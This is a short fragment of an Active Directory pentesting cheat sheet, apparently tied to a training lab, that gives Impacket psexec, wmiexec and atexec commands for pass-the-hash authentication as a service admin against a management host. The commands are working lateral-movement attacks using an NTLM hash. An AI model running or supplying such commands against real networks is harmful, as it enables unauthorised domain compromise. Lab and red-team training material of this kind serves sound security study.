* **psexec\_windows.exe **`C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
* **wmiexec.exe **`wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
* **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
* There are several more Impacket binaries...